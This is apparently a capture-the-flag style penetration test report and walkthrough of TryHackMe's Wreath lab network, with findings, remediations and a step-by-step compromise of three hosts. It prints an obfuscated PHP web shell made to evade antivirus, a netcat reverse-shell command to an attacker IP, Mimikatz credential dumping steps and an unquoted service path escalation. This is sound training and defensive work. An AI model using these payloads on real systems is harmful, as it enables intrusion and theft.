A report and step by step walkthrough of a penetration test of the Wreath Network on TryHackMe.
This was a "grey-box" penetration test of the Wreath network infrastructure and the brief was as follows:
There are two machines on my home network that host projects and stuff I'm working on in my own time -- one of them has a webserver that's port forwarded, so that's your way in if you can find a vulnerability! It's serving a website that's pushed to my git server from my own PC for version control, then cloned to the public facing server. See if you can get into these! My own PC is also on that network, but I doubt you'll be able to get into that as it has protections turned on, doesn't run anything vulnerable, and can't be accessed by the public-facing section of the network. Well, I say PC -- it's technically a repurposed server because I had a spare license lying around, but same difference.
Attack scope was restricted to the public webserver (10.200.57.200) and it's connected machines and/or services.
The public facing web server was compromised using a publicly available exploit which ran as a root. This system was then used to pivot to the next machine in the internal network. This next machine hosted an internal GitStack server which was vulnerable to an exploit that allowed access to the systems user, resulting in system compromise and plain text passwords access. These passwords allowed authentication to the development server that was accessed via proxy from the GitStack server. A webpage on the development server contained an upload function that only used basic upload validation, which ultimately enabled the upload of a web shell and total compromise the final target. Outdated software was responsible for vunlerabilities that lead to immediate root access on two of the three machines and insecure code on a web page lead to malicious file upload and compromise of the third machine.
: MiniServ 1.890 (Webmin httpd)
Critical level vulnerability on public facing web-server that allows remote code execution(RCE) / total compromise when exploited.
High level vulnerability on the GitStack server that allows user to log in as system when exploited.
Update to latest patch and maintain active patching schedule to keep up with new updates.
Poor upload validation within the developer web page php code lead to a web shell being uploaded.
Implement stronger client + server side validation for any upload fields within the web page. Remove all unnessecary upload fields.
Both WebMin and GitStack services were running with highest possible privileges. When exploited, these services grant an attacker this same level of control over the system.
Follow the Rule of Least Privilege - services, software, users etc should only be granted the minimum permissions possible for them to carry out their intended function.
The SystemExplorerHelpService
path was unqouted and allowed malicious file upload to " Wreath-PC " machine.
Ensure the path isn't unqouted and set correct directory ownership to prevent unauthorized tampering in the future.
Accounts were found to use weak credentials (account beloning to Thomas) that were easily brute-forced and the passwords were used across multiple services.
Follow proper password policy regarding complexity, history etc Use a trusted password manager if needed.
Errors displayed by Django on the public facing web-server give away other page addresses that can then be accessed by users.
This in itself ins't disasterous, however it directly lead to a page that was vulnerable to a publicly known exploit.
Configure the web framework to display as little information as possible in error messages to prevent attackers gaining infomation about the server.
Beginning with recon of the publicly facing web server, a quick scan revealed a few open services:
The website is only accessible after adding the IP to the local /hosts file:
Running a quick vulnerability script against the site reveals a potential weak point - the server is running MiniServ 1.890 which (after some brief research) is vulnerable to command injection (CVE-2019-15107):
I used the following tool to exploit this vulnerability: https://github.com/MuirlandOracle/CVE-2019-15107
After configuring and running the script, I was granted a root shell on the server:
Following this, I made a copy of both the root password hash and ssh private key for future system persistence/ access.
Using a static nmap binary, supplied by my attacking machine, I scanned the internal network for other hosts within scope for potential targets to pivot to.
Scan result:
Success, both .150 and .100 machines are fair game. Futher scanning of each machine individually revealed a few services running on .150 (including a web page) so I decided to attempt to pivot to this machine. This was done using sshuttle - a program that works in a similar manner to a VPN, allowing direct connection to remote devices as if they were on the local network. I was able to sign in as root on this machine using the SSH key from earlier.
Navigating to the web page hosted by .150 didn't reveal much, however poor error handling practices pointed me towards a potential attack vector.
(Sadly the default credentials didn't work).
After a little research, I found a Remote Code Execution exploit that could be used against the GitStack page: https://www.exploit-db.com/exploits/43777
Upon editing the exploit to my needs (changing target, ports etc), I ran it and saw that commands were indeed being executed via a webshell:
Shell function snippit:
In action:
In order to efficiently execute commands & gain information about the machine, I used BurpSuite to execute commands:
In order to deploy a shell, the .150 machine needed to be able to reach/ communicate with my machine.
I tested this via ping
using the exploit and tcpdump
on locally, however no traffic was getting through successfully, indicating that it was being blocked (likely by a firewall).
To navigate this issue, I opened a port, allowing traffic through the firewall:
Next I set up a Netcat listener on the .200 machine (which was passing traffic to my attcking machine) and used a Powershell command to create a shell to call back to it:
Shortly after, I was rewarded with Administrator level access to the Git server:
From earlier enumeration, ports 3389(RDP GUI) and 5985(WinRM CLI) were found to be open. Given that I was using an Admin account, I could create myself a new account that would be able to access the device via RDP whenever I wanted.
To connect over RDP from Ubuntu, I used xfreerdp:
And created a share for easy tool access:
Using this share, I was able to launch Mimikatz in order to dump local SAM hashes:
From here, I used :
privilege::debug
which essentially grants the process higher privileges, enabling it to bypass certain security restrictions.
token::elevate
which attempts to elevate the current user's access token to a higher privilege level.
Followed by lsadump::sam
to get the hashes:
After a few unsuccessful attempts and a wait, I managed to crack the hash for the user Thomas.
Using the Admin hash I was able to connect to the machine via WinRM for total exploitation of the .150 machine:
Referring back to the Network Map, only the personal PC remained to be compromised:
As mentioned in the brief, this machine has an Anti-virus installed, so I had to be aware of this going forward. As the .100 machine (personal PC) is only accessible from the git-server, I had to create another proxy (through the git-server) to be able to reach the .100 host. I had previously used sshuttle to create a proxy between the Web server and Git server, and now a second one was necessary to reach the last machine. The traffic flow would look as follows:
Attacking Machine -> WebServer -> Git-Server -> Personal PC
Given this was a Windows host and I was now accessing it via 2 proxies, nmap was unlikely to be of much use, so I uploaded the Portscan.ps1 script from Powersploit to the machine via WinRM. A scan of the final machine (.100) revealed ports 80 & 3389 to be open.
I used chisel (https://github.com/jpillora/chisel) to create this final proxy. Firstly I opened a port on the git-server to allow traffic to traverse:
Then uploaded the chisel executable to the server and ran it:
On my attacking machine I set up the chisel client (tunelling traffic via socks proxy):
After connecting, I used the Foxy Proxy browser extension to access the web page that was now being tunnelled from the .100 machine.
Success!
Now, whilst the webpage is accessible and can be enumerated, this would again be occuring through 2 proxies and would be too slow to tolerate. However, the brief mentioned that the git server is used for version control here, which presents an easier potential alternative form of enumeration in the form of a repository/ source codebase.
Finding the repository was relatively easy, given the WinRM access:
Upon downloading, I used the extractor tool from GitTools (https://github.com/internetwache/GitTools) to view readable data and ended up with 3 local directories:
Drilling down through the directories I found the components of the web site:
Within the index.php was a funciton that allowed file uploads (thus a potential vulnerability):
Navigating to the site within the browser reveals a login page but luckily I managed to crack Thomas' password from the hash retrieved earlier and was granted access:
Now I had to find someway to take advantage of the upload function.
There are a few checks evident in the code that I had to be aware of (common rules such as file type, size and if the file is already present) but the process of bypassing these was pretty straightforward.
Changing the file extension to .php satisfies the file type filter but the getimagesize()
function checks specifically for images:
$size = getimagesize($_FILES["file"]["tmp_name"]);
if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
header("location: ./?msg=Fail");
die();
[1]
retrieves the second element from the array, which represents the file extension.
in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts)
checks if the file extension exists in the $goodExts
array and if the extension is not found in the array the file is not uploaded.
Indeed, a legitmate image had to be uploaded so I used exiftool to allow me to place php shell code into the image metadata. Knowing that anti-virus is present on the machine, it would be pretty foolish to upload a file containing an obvious shell but PHP Obfuscator (https://www.gaijin.at/en/tools/php-obfuscator) provides a means of obscuring the code, increasing the liklihood that it remains undetected by anti-virus.
Eg :
<?php
$cmd = $_GET["frost"];
if(isset($cmd)){
echo "<pre>" . shell_exec($cmd) . "</pre>";
}
die();
?>
Becomes:
<?php \$u0=\$_GET[base64_decode('ZnJvc3Q=')];if(isset(\$u0)){echo base64_decode('PHByZT4=').shell_exec(\$u0).base64_decode('PC9wcmU+');}die();?>
After exiftool to embed the payload into the image, uploading it and navigating to it via URL (resources/uploads/frost.jpg.php), we can see that command execution is available.
systeminfo
:
The next step involved obtaining a full reverse shell from the web shell. I uploaded a static netcat binary (https://github.com/int0x33/nc.exe/) to the server via a local python webserver and used powershell to set up the connection:
powershell.exe c:\\windows\\temp\\nc-USERNAME.exe 10.10.146.80 12345 -e cmd.exe
After gaining access and manually exploring the target, it became clear there was a potential Unquoted Service Path vulnerability in the SystemExplorerHelpService
service and I also had full read & write permissions to the directory:
C:\xampp\htdocs\resources\uploads>sc qc SystemExplorerHelpService
sc qc SystemExplorerHelpService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SystemExplorerHelpService
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Explorer Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\xampp\htdocs\resources\uploads>powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\System Explorer
Owner : BUILTIN\Administrators
Group : WREATH-PC\None
Access : BUILTIN\Users Allow FullControl
NT SERVICE\TrustedInstaller Allow FullControl
NT SERVICE\TrustedInstaller Allow 268435456
NT AUTHORITY\SYSTEM Allow FullControl
NT AUTHORITY\SYSTEM Allow 268435456
BUILTIN\Administrators Allow FullControl
In order to take advantage of these permissons a small wrapper script would likely bypass the instance of Defender running on this PC and be able to activate the netcat binary that is already present, thus estabilishing a shell as the local system.
The wrapper is as follows (you can see that ProcessStartInfo
runs the binary and calls back to the attacking machine):
I then compiled and uploaded to the machine (I used the python server again).
Finally, I copied the script to C:\Program Files (x86)\System Explorer\System.exe
, started a local listener and then stopped and started the service on the compromised machine:
sc stop SystemExplorerHelpService
sc start SystemExplorerHelpService
Listener:
C:\Windows\system32>whoami
whoami
nt authority\system
All 3 machines were now fully under my control.
Upon total compromise completion of the network, all uploaded binaries, executables and created accounts etc were purged from the target systems, leaving them in the same state they were in before testing began. Whilst this operation was not conducted with discretion in mind, I strive to leave as little trace of my presence as possible for the sake of the client and general tidiness.
This concludes a successful penetration test on the Wreath Network. A multitude of serious vulnerabilities lead to multiple system compromise at the highest level and suggested remediations for these issues can be found in the Findings section of the report. On a positive note, this network can easily be hardened by following simple security procedures (Least privilege, password security, patching schedule etc) that will have no significantly disruptive impact on the functioning of any of the machines or services involved.